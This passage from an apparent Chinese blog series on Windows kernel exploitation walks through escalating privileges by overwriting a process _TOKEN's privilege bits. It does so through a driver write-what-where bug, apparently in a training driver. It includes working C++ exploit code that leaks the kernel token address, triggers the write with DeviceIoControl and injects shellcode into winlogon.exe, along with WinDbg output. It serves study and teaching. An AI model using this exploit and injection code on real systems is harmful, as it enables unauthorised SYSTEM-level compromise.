class="line">&#125;</span><br></pre></td></tr></table></figure><p>原来这个位置只能接受一个传参啊。。。。</p><p>后来绕回这个<code>dxgkrnl</code>的逻辑，发现依然无法修改函数地址，我搜了非常多的资料，终于在这个网站上找到了答案:<br><a href="https://www.unknowncheats.me/forum/2567493-post86.html">https://www.unknowncheats.me/forum/2567493-post86.html</a><br>这里提到了一个很重要的事情：<code>windows 1903</code>中，大部分的函数已经<strong>不使用win32kbase作为proxy，而是直接由dxgkrnl.sys导出函数来调用</strong>。<br>之前我试了很多次修改这个<code>gDxgkInterface</code>但是都不能work，原来是因为<strong>很多函数的逻辑里面根本就没有经过win32kbase!gDxgkInterface</strong>。。。。。。于是之前提到的所有利用手段都被堵上了。</p><h3 id="和linux-kernel-pwn的联想-新的思路">和Linux kernel pwn的联想（新的思路）</h3><p>在此期间一直在想，Linux的kernel pwn也是要找类似的跳板吗？看了一下相关ctf的writeup，发现大家其实都是再改<code>cred</code>这个结构体，这个结构体相当于是Linux中的一个权限管理结构体，所以通过修改这个结构体，就能够实现某个进程的提权。那Windows中就没有类似的结构体了吗？随着工作的进行，我发现Windows中的<code>TOKEN</code>这个结构体好像起到的作用就和这个<code>cred</code>类似，也是类似Windows下的权限控制（具体可以看这里<a href="http://showlinkroom.me/2019/12/25/Windows-Via-C-C-note-4/#more">Windows Via C/C++ note 4</a>），那是不是改这个地方就可以了呢？</p><p>后来，又是wjllz大佬抬了一手，给了一篇文章:<a href="https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/">https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/</a>，这个文章里面提到了一个2012年就被提出来的，window kernel pwn应该做什么的文章<a href="http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf">http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf</a>，完美解释了我心中的疑惑。wjllz大佬给的文章都很有价值，大力吹一波~这些内容之后应该会趁机研究一下记录。不过这边我们先顺着这个WP中的思路走，解决一下我们当前的问题。</p><h4 id="通过修改-token来进行提权">通过修改_TOKEN来进行提权</h4><p>一个进程中的<code>TOKEN</code>结构体如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_TOKEN</span></span><br><span class="line">&#123;</span><br><span class="line">     TOKEN_SOURCE TokenSource;</span><br><span class="line">     LUID TokenId;</span><br><span class="line">     LUID AuthenticationId;</span><br><span class="line">     LUID ParentTokenId;</span><br><span class="line">     LARGE_INTEGER ExpirationTime;</span><br><span class="line">     PERESOURCE TokenLock;</span><br><span class="line">     LUID ModifiedId;</span><br><span class="line">     SEP_TOKEN_PRIVILEGES Privileges;</span><br><span class="line">     SEP_AUDIT_POLICY AuditPolicy;</span><br><span class="line">     ULONG SessionId;</span><br><span class="line">     ULONG UserAndGroupCount;</span><br><span class="line">     ULONG RestrictedSidCount;</span><br><span class="line">     ULONG VariableLength;</span><br><span class="line">     ULONG DynamicCharged;</span><br><span class="line">     ULONG DynamicAvailable;</span><br><span class="line">     ULONG DefaultOwnerIndex;</span><br><span class="line">     PSID_AND_ATTRIBUTES UserAndGroups;</span><br><span class="line">     PSID_AND_ATTRIBUTES RestrictedSids;</span><br><span class="line">     PVOID PrimaryGroup;</span><br><span class="line">     ULONG * DynamicPart;</span><br><span class="line">     PACL DefaultDacl;</span><br><span class="line">     TOKEN_TYPE TokenType;</span><br><span class="line">     SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;</span><br><span class="line">     ULONG TokenFlags;</span><br><span class="line">     UCHAR TokenInUse;</span><br><span class="line">     ULONG IntegrityLevelIndex;</span><br><span class="line">     ULONG MandatoryPolicy;</span><br><span class="line">     PSECURITY_TOKEN_PROXY_DATA ProxyData;</span><br><span class="line">     PSECURITY_TOKEN_AUDIT_DATA AuditData;</span><br><span class="line">     PSEP_LOGON_SESSION_REFERENCES LogonSession;</span><br><span class="line">     LUID OriginatingLogonSession;</span><br><span class="line">     SID_AND_ATTRIBUTES_HASH SidHash;</span><br><span class="line">     SID_AND_ATTRIBUTES_HASH RestrictedSidHash;</span><br><span class="line">     ULONG VariablePart;</span><br><span class="line">&#125; TOKEN, *PTOKEN;</span><br></pre></td></tr></table></figure><p>据说这个结构体从<code>Win7</code>开始就没有太多的变动了，这里我们关注一下这几个结构体成员变量:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SEP_TOKEN_PRIVILEGES Privileges; // 0x40</span><br></pre></td></tr></table></figure><p>这个结构体变量用bit位的方式记录了当前token中使用的privilege（特权）。我们都知道，token能够限制一个进程能能够对其他进程的权限控制，但是有时候我们也会需要有类似windbg之类的进程对其他各类进程进行调试，这个时候系统就会赋予调试器这个<strong>调试其他进程的特权</strong>。这个概念非常重要，我们通过给与当前进程特权，就能够<strong>往其他更高权限才能够接触到的进程中进行代码注入等，从而实现进程劫持等等，完成提权</strong>。<br>我们首先检查一下当前进程使用的<code>token</code>是怎么样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line">: kd&gt; !token</span><br><span class="line">Thread is not impersonating. Using process token...</span><br><span class="line">_EPROCESS 0xffffffffa25de040, _TOKEN 0x0000000000000000</span><br><span class="line">TS Session ID: 0x1</span><br><span class="line">User: S-1-5-21-3717723882-702046769-3252787667-1000</span><br><span class="line">User Groups: </span><br><span class="line"> 00 S-1-5-21-3717723882-702046769-3252787667-513</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 01 S-1-1-0</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 02 S-1-5-114</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 03 S-1-5-32-544</span><br><span class="line">    Attributes - Mandatory Default Enabled Owner </span><br><span class="line"> 04 S-1-5-32-545</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 05 S-1-5-4</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 06 S-1-2-1</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 07 S-1-5-11</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 08 S-1-5-15</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 09 S-1-5-113</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 10 S-1-5-5-0-252984</span><br><span class="line">    Attributes - Mandatory Default Enabled LogonId </span><br><span class="line"> 11 S-1-2-0</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 12 S-1-5-64-10</span><br><span class="line">    Attributes - Mandatory Default Enabled </span><br><span class="line"> 13 S-1-16-12288</span><br><span class="line">    Attributes - GroupIntegrity GroupIntegrityEnabled </span><br><span class="line">Primary Group: S-1-5-21-3717723882-702046769-3252787667-513</span><br><span class="line">Privs: </span><br><span class="line"> 05 0x000000005 SeIncreaseQuotaPrivilege          Attributes - </span><br><span class="line"> 08 0x000000008 SeSecurityPrivilege               Attributes - </span><br><span class="line"> 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - </span><br><span class="line"> 10 0x00000000a SeLoadDriverPrivilege             Attributes - </span><br><span class="line"> 11 0x00000000b SeSystemProfilePrivilege          Attributes - </span><br><span class="line"> 12 0x00000000c SeSystemtimePrivilege             Attributes - </span><br><span class="line"> 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - </span><br><span class="line"> 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - </span><br><span class="line"> 15 0x00000000f SeCreatePagefilePrivilege         Attributes - </span><br><span class="line"> 17 0x000000011 SeBackupPrivilege                 Attributes - </span><br><span class="line"> 18 0x000000012 SeRestorePrivilege                Attributes - </span><br><span class="line"> 19 0x000000013 SeShutdownPrivilege               Attributes - </span><br><span class="line"> 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled &lt;---所以当前进程token的特权值为0x2000</span><br><span class="line"> 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - </span><br><span class="line"> 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default </span><br><span class="line"> 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - </span><br><span class="line"> 25 0x000000019 SeUndockPrivilege                 Attributes - </span><br><span class="line"> 28 0x00000001c SeManageVolumePrivilege           Attributes - </span><br><span class="line"> 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled Default </span><br><span class="line"> 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled Default </span><br><span class="line"> 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - </span><br><span class="line"> 34 0x000000022 SeTimeZonePrivilege               Attributes - </span><br><span class="line"> 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - </span><br><span class="line"> 36 0x000000024 SeDelegateSessionUserImpersonatePrivilege  Attributes - </span><br><span class="line">Authentication ID:         (0,3dca6)</span><br><span class="line">Impersonation Level:       Anonymous</span><br><span class="line">TokenType:                 Primary</span><br><span class="line">Source: User32             TokenFlags: 0x2000 ( Token in use )</span><br><span class="line">Token ID: b18ac1           ParentToken ID: 0</span><br><span class="line">Modified ID:               (0, 654e3e)</span><br><span class="line">RestrictedSidCount: 0      RestrictedSids: 0x0000000000000000</span><br><span class="line">OriginatingLogonSession: 3e7</span><br><span class="line">PackageSid: (null)</span><br><span class="line">CapabilityCount: 0      Capabilities: 0x0000000000000000</span><br><span class="line">LowboxNumberEntry: 0x0000000000000000</span><br><span class="line">Security Attributes:</span><br><span class="line">Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink</span><br><span class="line">Process Token TrustLevelSid: (null)</span><br></pre></td></tr></table></figure><p>从上可以看到，我们当前进程的权限有一个<code>SeDebugPrivilege</code>，这个特权的意思是<code>Required to debug and adjust the memory of a process owned by another account.</code>，也就是说能够调试并且调整由其他账号拥有的进程中的内存。这个权限其实蛮高的（做这个实验的时候，我正在用windbg调试，所以权限才会这么高）。不过我们希望能够做到的是<strong>往其他进程中注入线程</strong>，那么这个时候我们需要的可能就不止这个权限了，一个比较无脑的方式就是<strong>能不能将这些特权全部拿到手，就能够保证我们必定提权成功了</strong>。</p><p>于是我们稍微改动一下我们的利用code:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">DWORD <span class="title">GetKernelPointer</span><span class="params">(HANDLE handle, DWORD type)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)<span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"></span><br><span class="line">DWORD outBuffer = <span class="number">0</span>;</span><br><span class="line">NTSTATUS status = <span class="built_in">NtQuerySystemInformation</span>((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, <span class="number">0x20</span>, &amp;outBuffer);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (status == STATUS_INFO_LENGTH_MISMATCH)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">free</span>(buffer);</span><br><span class="line">buffer = (PSYSTEM_HANDLE_INFORMATION)<span class="built_in">malloc</span>(outBuffer);</span><br><span class="line">status = <span class="built_in">NtQuerySystemInformation</span>((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &amp;outBuffer);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!buffer)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[-] NtQuerySystemInformation error \n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; buffer-&gt;NumberOfHandles; i++)</span><br><span class="line">&#123;</span><br><span class="line">DWORD objTypeNumber = buffer-&gt;Handels[i].ObjectTypeNumber;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (buffer-&gt;Handels[i].ProcessId == <span class="built_in">GetCurrentProcessId</span>() &amp;&amp; buffer-&gt;Handels[i].ObjectTypeNumber == type)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (handle == (HANDLE)buffer-&gt;Handels[i].Handle)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//printf(&quot;%p %d %x\n&quot;, buffer-&gt;Handels[i].Object, buffer-&gt;Handels[i].ObjectTypeNumber, buffer-&gt;Handels[i].Handle);</span></span><br><span class="line">DWORD object = (DWORD)buffer-&gt;Handels[i].Object;</span><br><span class="line"><span class="built_in">free</span>(buffer);</span><br><span class="line"><span class="keyword">return</span> object;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[-] handle not found\n&quot;</span>);</span><br><span class="line"><span class="built_in">free</span>(buffer);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">InjectToWinlogon</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">PROCESSENTRY32 entry;</span><br><span class="line">entry.dwSize = <span class="built_in">sizeof</span>(PROCESSENTRY32);</span><br><span class="line"></span><br><span class="line">HANDLE snapshot = <span class="built_in">CreateToolhelp32Snapshot</span>(TH32CS_SNAPPROCESS, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> pid = <span class="number">-1</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">Process32First</span>(snapshot, &amp;entry))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">while</span> (<span class="built_in">Process32Next</span>(snapshot, &amp;entry))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (_wcsicmp(entry.szExeFile, <span class="string">L&quot;winlogon.exe&quot;</span>) == <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">pid = entry.th32ProcessID;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">CloseHandle</span>(snapshot);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (pid &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Could not find process\n&quot;</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE h = <span class="built_in">OpenProcess</span>(PROCESS_ALL_ACCESS, FALSE, pid);</span><br><span class="line"><span class="keyword">if</span> (!h)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Could not open process: %x&quot;</span>, <span class="built_in">GetLastError</span>());</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span>* buffer = <span class="built_in">VirtualAllocEx</span>(h, <span class="literal">NULL</span>, <span class="built_in">sizeof</span>(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);</span><br><span class="line"><span class="keyword">if</span> (!buffer)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[-] VirtualAllocEx failed\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!buffer)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[-] remote allocation failed&quot;</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">WriteProcessMemory</span>(h, buffer, shellcode, <span class="built_in">sizeof</span>(shellcode), <span class="number">0</span>))</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[-] WriteProcessMemory failed&quot;</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hthread = <span class="built_in">CreateRemoteThread</span>(h, <span class="number">0</span>, <span class="number">0</span>, (LPTHREAD_START_ROUTINE)buffer, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (hthread == INVALID_HANDLE_VALUE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[-] CreateRemoteThread failed&quot;</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function">VOID <span class="title">TriggerArbitraryOverwrite</span><span class="params">(DWORD dwCTLCode)</span> </span>&#123;</span><br><span class="line">PVOID ExpAddress = &amp;TokenStealingPayloadWin7;</span><br><span class="line">DWORD dwRetSize = <span class="number">0</span>;</span><br><span class="line">HANDLE hDev = <span class="built_in">GetDeviceHandle</span>();</span><br><span class="line"><span class="keyword">if</span> (hDev == INVALID_HANDLE_VALUE)</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;We Get handle is:&quot;</span> &lt;&lt; std::hex &lt;&lt; hDev &lt;&lt; std::endl;</span><br><span class="line"><span class="comment">// New Method</span></span><br><span class="line">HANDLE hCurrentProcess = <span class="built_in">OpenProcess</span>(PROCESS_QUERY_INFORMATION, FALSE, <span class="built_in">GetCurrentProcessId</span>());</span><br><span class="line"><span class="keyword">if</span> (!hCurrentProcess) &#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;[-] Open Current process faiiled&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hToken = <span class="number">0</span>;</span><br><span class="line"><span class="comment">// the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">OpenProcessToken</span>(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) &#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;[-] Couldn&#x27;t get current process token&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// The 0x5 is what??????</span></span><br><span class="line">DWORD kToken = <span class="built_in">GetKernelPointer</span>(hToken, <span class="number">0x5</span>);</span><br><span class="line">DWORD dwTargetOffset = kToken + <span class="number">0x48</span>;</span><br><span class="line"></span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;The target token offest is &quot;</span> &lt;&lt; dwTargetOffset &lt;&lt; std::endl;</span><br><span class="line">WrtieWhatWhere *WWW = (WrtieWhatWhere*)<span class="built_in">HeapAlloc</span>(<span class="built_in">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span class="built_in">sizeof</span>(WrtieWhatWhere));</span><br><span class="line">WWW-&gt;Where = (ULONG_PTR)dwTargetOffset;</span><br><span class="line"><span class="comment">//std::cout &lt;&lt; &quot;Base address:&quot; &lt;&lt; dwBaseAddress &lt;&lt; &quot; ExOffset:&quot; &lt;&lt; ulExAllocatePool;</span></span><br><span class="line">UINT64 uAllPrivelage= <span class="number">0xffffffffffffffff</span>;</span><br><span class="line">WWW-&gt;What = (ULONG_PTR)&amp;uAllPrivelage;</span><br><span class="line"><span class="comment">// WWW-&gt;What = (ULONG)&amp;dwRealExAllocatePool;</span></span><br><span class="line"><span class="comment">// copy exp to target address</span></span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;Now we will write[&quot;</span> &lt;&lt; WWW-&gt;Where &lt;&lt; <span class="string">&quot;]:&quot;</span> &lt;&lt; *(ULONG*)(WWW-&gt;What) &lt;&lt; std::endl;</span><br><span class="line"><span class="comment">// send IOCTL to trigger </span></span><br><span class="line"><span class="built_in">OutputDebugString</span>(<span class="string">L&quot;[+]  =========== Kernel Mode  =============== [+]&quot;</span>);</span><br><span class="line"><span class="built_in">DeviceIoControl</span>(hDev, dwCTLCode, WWW, <span class="built_in">sizeof</span>(WrtieWhatWhere), <span class="literal">NULL</span>, <span class="literal">NULL</span>, &amp;dwRetSize, <span class="literal">NULL</span>);</span><br><span class="line"><span class="built_in">OutputDebugString</span>(<span class="string">L&quot;[+]  =========== IOCTL Finish =============== [+]&quot;</span>);</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot; IOCTL FIINISH &quot;</span>&lt;&lt;std::endl;</span><br><span class="line"><span class="comment">// Tro to inject code</span></span><br><span class="line"><span class="built_in">InjectToWinlogon</span>();</span><br><span class="line"><span class="built_in">HeapFree</span>(<span class="built_in">GetProcessHeap</span>(), <span class="number">0</span>, WWW);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后试了一下。。。终于成功了！！！！<br><img src="/2020/10/16/WindowKernelExploit2/win04.png" alt=""></p><h3 id="exp分析">Exp分析</h3><p>由于EXP是从别的地方抄过来的，有些地方其实有点云里雾里的，这里简单分析一下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">DWORD <span class="title">GetKernelPointer</span><span class="params">(HANDLE handle, DWORD type)</span></span></span><br></pre></td></tr></table></figure><p>首先是这个函数，这是关键函数之一，正是用的这个函数我们找到了TOKEN的地址，不过话又说回来，这个函数做了些什么呢？函数首先尝试去call了<code>NtSystemQueryInformation</code>:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS status = <span class="built_in">NtQuerySystemInformation</span>((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, <span class="number">0x20</span>, &amp;outBuffer);</span><br></pre></td></tr></table></figure><p>这个API其实功能非常强大，能够返回大量系统中的重要信息。这里当我们传入的变量为<code>StstemHandleInformation</code>的时候，返回的变量为<code>SYSTEM_HANDLE_INFORMATION</code>，具体定义如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SYSTEM_HANDLE_TABLE_ENTRY_INFO</span></span><br><span class="line">&#123;</span><br><span class="line">ULONG ProcessId;          <span class="comment">// 当前对象从属的进程id</span></span><br><span class="line">UCHAR ObjectTypeNumber;   <span class="comment">// 表示当前对象的类型</span></span><br><span class="line">UCHAR Flags;</span><br><span class="line">USHORT Handle;            <span class="comment">// 当前句柄</span></span><br><span class="line"><span class="type">void</span>* Object;             <span class="comment">// 句柄所对应的真正object的地址</span></span><br><span class="line">ACCESS_MASK GrantedAccess;</span><br><span class="line">&#125; SYSTEM_HANDLE, *PSYSTEM_HANDLE;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SYSTEM_HANDLE_INFORMATION</span></span><br><span class="line">&#123;</span><br><span class="line">ULONG NumberOfHandles;</span><br><span class="line">SYSTEM_HANDLE Handels[<span class="number">1</span>];</span><br><span class="line">&#125; SYSTEM_HANDLE_INFORMATION, 